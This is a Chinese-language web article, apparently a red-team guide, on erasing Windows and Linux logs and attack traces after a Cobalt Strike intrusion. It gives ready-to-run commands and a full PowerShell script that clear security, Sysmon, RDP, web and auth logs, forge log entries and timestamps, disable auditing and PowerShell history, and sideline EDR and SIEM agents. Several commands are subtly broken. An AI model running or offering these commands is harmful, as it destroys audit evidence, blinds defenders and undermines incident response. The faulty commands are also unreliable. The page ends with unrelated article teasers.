滲透測試指南(CSMSF):Windows 與 Linux 系統中的日志與文件痕跡清理

目錄

🕵??♂? 一、清理日志的重要性

核心目標

案例:域控滲透后日志暴露

🖥? 二、Windows系統日志清理

1. 事件日志(Event Logs)

2. Web日志(IIS Logs)

3. PowerShell日志

4. 其他日志

🐧 三、Linux系統日志清理

1. 系統日志(Syslog)

2. 認證日志(Auth Logs)

3. Web服務器日志

4. 其他日志

🗑? 四、刪除攻擊工具與文件

1. Windows系統

2. Linux系統

🔐 五、高級紅隊對抗技術

1. 日志輪轉與時間戳

2. 規避SIEM與EDR

3. 內存痕跡清理

4. 網絡流量規避

5. 文件系統元數據

📖 六、其余知識點

1. Windows事件日志恢復

2. Linux日志符號鏈接

3. 審計策略調整

4. SSD安全刪除

5. EDR對抗

🛠? 七、紅隊清理腳本示例

📊 八、總結與紅隊建議



在紅隊行動中,清理日志和攻擊痕跡是確保隱匿性和長期控制目標系統的關鍵步驟。


🕵??♂? 一、清理日志的重要性

日志清理是紅隊行動的最后一步,旨在隱藏攻擊痕跡、規避溯源并維持持久化訪問。未清理的日志可能暴露攻擊者的IP、工具、行為甚至身份,尤其在滲透域控主機后,日志清理尤為關鍵,因為域控記錄了整個網絡的核心活動。

核心目標
  • 隱藏痕跡:防止管理員或安全工具(如SIEM、EDR)檢測異常。

  • 規避溯源:降低被追蹤到C2服務器或真實身份的風險。

  • 維持控制:通過清理痕跡,確保長期隱匿訪問。

案例:域控滲透后日志暴露

在一場紅隊演習中,攻擊者通過Cobalt Strike成功提權至域控,但未清理安全日志(Security Log)。藍隊通過分析事件ID 4624(登錄成功)和ID 4672(權限分配),發現了異常的RDP登錄和權限提升行為,最終溯源至C2服務器。因此,日志清理是紅隊行動的必備環節。


🖥? 二、Windows系統日志清理

假設通過Cobalt Strike滲透了一臺Windows域控服務器,以下是主要日志類型及清理方法,結合實戰案例。

1. 事件日志(Event Logs)

事件日志記錄系統活動(如登錄、權限更改),分為系統日志(System)、安全日志(Security)和應用程序日志(Application)。

清理方法

  • 使用wevtutil清空日志:

    wevtutil cl System
    wevtutil cl Security
    wevtutil cl Application
  • 通過PowerShell:

    Clear-EventLog -LogName System, Security, Application
  • 高級技巧:選擇性刪除特定事件(如事件ID 4624)以降低SIEM警報觸發概率:

    wevtutil qe Security /q:"*[System[(EventID=4624)]]" | Remove-Item

案例:在一臺域控服務器上,攻擊者使用wevtutil cl Security清空安全日志,但觸發了SIEM的“日志清空”警報。改進方案是使用PowerShell腳本選擇性刪除特定登錄事件,偽造正常活動日志以混淆藍隊。

2. Web日志(IIS Logs)

如果目標運行IIS,Web請求日志可能暴露C2通信的IP或URL。

清理方法

  • 刪除日志文件(默認路徑:C:\inetpub\logs\LogFiles):

    del /f /q "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log"
  • 禁用IIS日志記錄(臨時):

    Set-WebConfigurationProperty -Filter "system.webServer/httpLogging" -Name dontLog -Value $true

案例:攻擊者通過IIS服務器的WebShell執行C2命令,未清理access.log,導致藍隊通過日志中的異常POST請求定位了C2域名。清理后,攻擊者通過禁用日志記錄進一步降低暴露風險。

3. PowerShell日志

Cobalt Strike常通過PowerShell執行命令,歷史記錄可能泄露攻擊細節。

清理方法

  • 刪除PowerShell歷史文件:

    del /f /q "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  • 禁用PowerShell日志記錄:

    Set-PSReadLineOption -HistorySaveStyle SaveNothing

案例:攻擊者通過PowerShell執行了Cobalt Strike的Beacon加載命令,未清理歷史文件,導致藍隊在ConsoleHost_history.txt中發現了Invoke-WebRequest調用C2的記錄。清理后,攻擊者通過禁用日志規避了類似問題。

4. 其他日志
  • RDP日志:清理遠程桌面連接記錄:

    wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
  • Sysmon日志(若安裝):

    wevtutil cl "Microsoft-Windows-Sysmon/Operational"
  • DNS日志(若域控兼任DNS服務器):

    del /f /q "C:\Windows\System32\dns\dns.log"
  • Windows Defender日志

    del /f /q "C:\ProgramData\Microsoft\Windows Defender\Support\*.log"

擴展知識點:Sysmon日志可能記錄詳細的進程創建和網絡連接,清理時需檢查其配置文件以確認日志路徑。若目標使用EDR(如CrowdStrike),需通過內存注入繞過其監控。


🐧 三、Linux系統日志清理

假設通過Cobalt Strike滲透了一臺Linux Web服務器,以下是日志清理步驟。

1. 系統日志(Syslog)

記錄系統事件,通常位于/var/log/syslog/var/log/messages

清理方法

  • 清空文件:

    > /var/log/syslog
  • 刪除輪轉日志:

    rm -f /var/log/syslog.*

案例:攻擊者在Linux服務器上部署了后門,未清理/var/log/messages,導致藍隊發現了異常的sshd登錄記錄。清理后,攻擊者通過偽造日志內容(如寫入正常登錄記錄)混淆取證。

2. 認證日志(Auth Logs)

記錄登錄和sudo操作,位于/var/log/auth.log

清理方法

  • 清空文件:

    > /var/log/auth.log
  • 刪除備份:

    rm -f /var/log/auth.log.*
3. Web服務器日志
  • Apache

    rm -f /var/log/apache2/access.log
    rm -f /var/log/apache2/error.log
  • Nginx

    rm -f /var/log/nginx/access.log
    rm -f /var/log/nginx/error.log
4. 其他日志
  • 內核日志

    > /var/log/kern.log
  • Cron日志

    > /var/log/cron.log
  • 數據庫日志(如MySQL):

    rm -f /var/log/mysql/error.log

擴展知識點:Linux日志可能是符號鏈接,清理前需確認實際文件路徑:

ls -l /var/log/syslog

若目標使用rsyslog將日志同步到遠程服務器,需通過提權修改/etc/rsyslog.conf禁用遠程日志。


🗑? 四、刪除攻擊工具與文件

清理上傳的木馬、后門或臨時文件是隱藏痕跡的關鍵。

1. Windows系統
  • 惡意文件

    del /f /q "C:\path\to\malicious.exe"
  • 臨時文件

    del /f /q "%TEMP%\*.*"
  • 注冊表項(如持久化后門):

    reg delete "HKLM\Software\MaliciousKey" /f
  • 安全刪除(覆蓋文件內容):

    cipher /w:C:\path\to\file

案例:攻擊者上傳了Cobalt Strike Beacon至%TEMP%,未清理被Defender掃描發現。改進方案是使用cipher覆蓋文件內容后刪除。

2. Linux系統
  • 惡意文件

    rm -f /path/to/malicious.sh
  • 臨時文件

    rm -rf /tmp/*
  • Crontab條目

    crontab -r
  • 安全刪除

    shred -u /path/to/file

案例:攻擊者在/tmp部署了后門腳本,未清理被藍隊通過文件時間戳發現。改進方案是使用shred覆蓋后刪除。


🔐 五、高級紅隊對抗技術

從紅隊高級視角,清理痕跡需關注以下細節。

1. 日志輪轉與時間戳
  • 問題:清空日志可能留下時間空白,觸發SIEM警報。

  • 解決:偽造日志內容,保持時間戳一致:

    echo "Normal activity" >> /var/log/syslog
    touch -t 202506221200 /var/log/syslog
2. 規避SIEM與EDR
  • 問題:SIEM可能同步日志至遠程服務器,EDR(如CrowdStrike)實時監控。

  • 解決

    • 禁用EDR進程(如通過內存注入修改其行為)。

    • 修改SIEM客戶端配置(如/etc/splunk/inputs.conf)。

  • 案例:攻擊者清空本地日志,但Splunk已同步數據至遠程服務器。改進方案是提權后禁用Splunk Agent。

3. 內存痕跡清理
  • 問題:Cobalt Strike的內存注入可能在RAM中留下痕跡。

  • 解決:通過重啟清除內存(需權衡持久化需求)或使用內存擦除工具(如MemoryZeus)。

  • 案例:藍隊通過內存取證發現了Beacon的內存特征,攻擊者通過重啟規避了檢測。

4. 網絡流量規避
  • 問題:IDS/IPS記錄了C2流量。

  • 解決:使用代理、VPN或Tor隱藏流量,結合加密協議(如WebSocket)降低特征暴露。

  • 案例:攻擊者的HTTP C2流量被IDS攔截,改進方案是切換至DNS隧道。

5. 文件系統元數據
  • 問題:刪除文件后,元數據可能被恢復。

  • 解決:使用cipher(Windows)或shred(Linux)覆蓋內容。


📖 六、其余知識點

1. Windows事件日志恢復
  • 問題:專業取證工具(如Event Log Explorer)可能恢復已刪除的日志。

  • 解決:修改日志文件結構(如覆蓋C:\Windows\System32\winevt\Logs\*.evtx)。

2. Linux日志符號鏈接
  • 問題:日志文件可能是符號鏈接,清理錯誤可能無效。

  • 解決:檢查鏈接并清理實際文件:

    readlink /var/log/syslog
3. 審計策略調整
  • 問題:Windows默認記錄大量事件。

  • 解決:修改審計策略減少記錄(謹慎使用,可能觸發警報):

    auditpol /set /category:"Logon/Logoff" /success:disable
4. SSD安全刪除
  • 問題:SSD上的文件刪除易恢復。

  • 解決:使用專業工具(如secure-erase)擦除數據。

5. EDR對抗
  • 問題:EDR實時監控可能攔截清理操作。

  • 解決:通過內存注入或Hook API(如NtWriteFile)繞過EDR。


🛠? 七、紅隊清理腳本示例

以下是一個簡單的Windows日志清理腳本,供紅隊參考。

# Windows 日志清理腳本
# 清理事件日志
Clear-EventLog -LogName System, Security, Application -ErrorAction SilentlyContinue
wevtutil cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational" -ErrorAction SilentlyContinue
?
# 清理 PowerShell 歷史
Remove-Item -Path "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
?
# 清理 IIS 日志
Remove-Item -Path "C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log" -Force -ErrorAction SilentlyContinue
?
# 清理臨時文件
Remove-Item -Path "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue
?
# 安全刪除指定文件
if (Test-Path "C:\path\to\malicious.exe") {cipher /w:"C:\path\to\malicious.exe"Remove-Item -Path "C:\path\to\malicious.exe" -Force
}
?
Write-Output "Logs and files cleared successfully."

使用方法

  1. 保存為clear_logs.ps1

  2. 通過Cobalt Strike的PowerShell模塊執行:

    powershell -ExecutionPolicy Bypass -File clear_logs.ps1

📊 八、總結與紅隊建議

清理日志和攻擊痕跡是紅隊行動的必備技能,直接影響行動的隱匿性和成功率。通過結合Windows和Linux的清理方法、偽造日志、規避SIEM/EDR以及安全刪除文件,紅隊可顯著降低被檢測的風險。

建議

  1. 事前準備:滲透前確認目標的日志配置(如SIEM、EDR)。

  2. 動態調整:根據環境選擇性清理,避免觸發警報。

  3. 持續學習:關注最新的EDR和取證技術,優化對抗策略。

  4. 實踐驗證:在HTB或自建靶場測試清理腳本。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/85873.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/85873.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/85873.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MYSQL數據庫和MSSQL數據庫有什么區別?如何進行備份和還原?

MySQL 和 MSSQL 是兩種廣泛使用的關系型數據庫,但它們在架構、功能、性能、平臺支持以及使用場景等方面存在許多差異。以下是詳細的區別,以及兩者的備份和還原方法。 1. MySQL 與 MSSQL 的區別 1.1 基本概念 數據庫MySQLMSSQL開發者Oracle(…

vscode搭建spring boot項目

一.創建項目 第一步:打開vscode按下shiftctrlp,選擇下面的 第二步:選擇版本 第三步:選擇語言 第四步:填寫項目的Groupid 第五步:填寫Artifact id 第六步:選擇打包方式 第七步:選擇java版本 第…

Matter協議開發者指南:使用Matter SDK構建智能家居應用

更新請關注:Matter協議開發者指南:使用Matter SDK構建智能家居應用 智能家居的演變從根本上改變了我們日常生活中與技術互動的方式。從語音助手到自動化照明和安防系統,機遇似乎無窮無盡。然而,開在這個迅速擴張的領域中&#xff…

中科院1區TOP|IF8.3:廣西中醫藥大學團隊采用代謝組學-網絡藥理學整合策略,闡明雞骨草的多靶點作用機制

中科院1區TOP|IF8.3:廣西中醫藥大學團隊采用代謝組學-網絡藥理學整合策略,闡明雞骨草的多靶點作用機制 在當今生命科學研究領域,代謝性疾病的防治與傳統中藥的現代化研究已成為兩大備受矚目的熱點方向。隨著全球范圍內脂質代謝紊亂相關疾病發…

c++中 Lambda表達式

Lambda優化技巧 盡量使用值捕獲簡單類型 避免捕獲大型對象(使用引用或智能指針) 將不修改的捕獲標記為const 使用初始化捕獲移動語義資源 前言 1. Lambda表達式基本語法 [捕獲列表](參數列表) mutable(可選) 異常屬性(可選) -> 返回類型(可選) {// 函數體 } 捕獲列表…

睿是信息攜手Arctera,深化服務中國市場,共筑數據管理新未來

2025年6月23日,為了更加深入服務中國大陸地區的廣大用戶,上海睿是信息科技有限公司(以下簡稱“睿是信息”)與全球數據管理領域的領導者Arctera,雙方正式達成戰略合作,自2025年7月7日起,睿是信息…

【WebGIS系列】WebGIS 開發相關的資源

目錄 數據 GIS 軟件 地圖渲染庫 EPSG 相關工具 資源 以下為個人收集的與 WebGIS 開發相關的資源(排名不分前后),歡迎補充。 數據 天地圖(opens in a new tab)國家統計局行政區劃(opens in a new tab)民政部全國行政區劃信息查詢平臺(…

【單調棧】-----【小A的柱狀圖】

小A的柱狀圖 題目鏈接 題目描述 柱狀圖是有一些寬度相等的矩形下端對齊以后橫向排列的圖形,但是小A的柱狀圖卻不是一個規范的柱狀圖,它的每個矩形下端的寬度可以是不相同的一些整數,分別為 a [ i ] a[i] a[i],每個矩形的高度是…

MySQL 索引優化與慢查詢優化:原理與實踐

MySQL是一個廣泛使用的關系型數據庫管理系統,優化MySQL的性能對于保證應用的高效運行至關重要。本文將詳細介紹MySQL索引優化與慢查詢優化的原理和實踐方法。 一、MySQL索引優化 1.1 索引的基本概念 索引是一種用于提高數據庫查詢速度的數據結構。常見的索引類型…

【AS32系列MCU調試教程】應用開發:基于AS32芯片的流水燈功能實現

摘要: 本文以國科安芯的AS32系列MCU芯片為例,聚焦于基于 AS32 芯片的流水燈功能開發,深入闡述了開發環境搭建、工程配置以及調試等關鍵環節。通過詳盡的實驗過程與結果分析,旨在為相關領域技術人員提供一套系統、高效且成本可控的…

爬蟲001----介紹以及可能需要使用的技術棧

首先1??。。。全篇使用的技術棧當然是python了,畢竟作為一名點點點工程師,實際工作中做測試開發用的也是python,畢竟測試框架么,不需要什么"速度"。也會一點點cpp和js,但不多。什么?你說go和ja…

Java 中基于條件動態決定字段參與分組的實現方法

在 Java 的 Stream API 中,Collectors.groupingBy()方法為數據分組提供了強大的支持。通過它,我們可以輕松地將集合中的元素按照某個屬性進行分組,比如按照商品類別、日期等。然而,在實際業務場景中,有時需要根據特定條…

AppBarLayout+ CoordinatorLayout,ViewPager2為什么不會覆蓋AppBarLayout

<?xml version"1.0" encoding"utf-8"?> <layout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app"http://schemas.android.com/apk/res-auto"xmlns:tools"http://schemas.android.com/tools&quo…

【群體智能優化算法系列 】一 粒子群算法 (Particle Swarm Optimization, PSO)

【群體智能優化算法系列 】一 粒子算法 一&#xff1a;前言二&#xff1a;算法原理2.1 核心思想2.2 PSO核心公式?2.3 PSO算法流程圖 三&#xff1a;python實現 二維Rastrigin函數 最低點檢索例子參考 一&#xff1a;前言 粒子群算法是由Kennedy和Eberhart在1995年提出的一種基…

Jupyter notebook調試:設置斷點運行

寫了一段小代碼&#xff0c;主要是用來測試一段序列的k均值聚類效果&#xff1b; 中間想到debug一下&#xff0c;但是想到自己似乎從來沒有正式地接觸過jupyter notebook中地debug&#xff0c;平時也只是多開幾個cell&#xff0c;然后在其他cell中復制粘貼部分代碼&#xff0c…

[12-2] BKP備份寄存器RTC實時時鐘 江協科技學習筆記(14個知識點)

1 2 3 4 5 6 7 8 RTC是“Real-Time Clock”的縮寫&#xff0c;中文意思是“實時時鐘”。這是一種在電子設備中使用的時鐘&#xff0c;它能夠提供準確的時間信息&#xff0c;即使在設備斷電的情況下也能繼續運行&#xff0c;因為它通常由一個小型電池供電。RTC廣泛應用于計算機…

優化給AI的“提問技巧”(提示工程),讓大型語言模型(比如GPT)更好地扮演“心理治療助手”的角色

優化給AI的“提問技巧”(提示工程),讓大型語言模型(比如GPT)更好地扮演“心理治療助手”的角色 尤其是在“問題解決療法”(PST)中幫助 caregivers(家庭護理者)緩解焦慮、疲勞等心理癥狀。以下是核心內容的通俗解讀: 一、研究背景:AI當心理醫生靠譜嗎? 現狀:全球…

Java的lambda表達式應用

Lambda表達式是Java 8引入的一項強大特性&#xff0c;它允許以更加簡潔的方式表示匿名函數。Lambda表達式不僅讓代碼更加簡潔、清晰&#xff0c;而且為函數式編程提供了有力支持&#xff0c;從而提升了Java語言的表達能力。 本文主要講解lambda應用stream處理集合的應用。 1、…

云原生/容器相關概念記錄

文章目錄 網絡與虛擬化技術云平臺與架構容器與編排容器網絡方案性能優化與工具硬件與協議 網絡與虛擬化技術 P4可編程網關 P4: Programming Protocol-independent Packet Processors一種基于P4語言的可編程網絡設備&#xff0c;支持自定義數據包處理邏輯。P4可編程技術詳解&am…

[C++] traits機制

文章目錄 C之type_traitsis_floating_point<T> ..的使用std::enable_if<T>::type的使用std::remove_cv 如何自定義traits C之type_traits is_floating_point …的使用 一般在定義打印模板函數的時候&#xff0c;當我們用printf進行終端日志打印&#xff0c;需要根…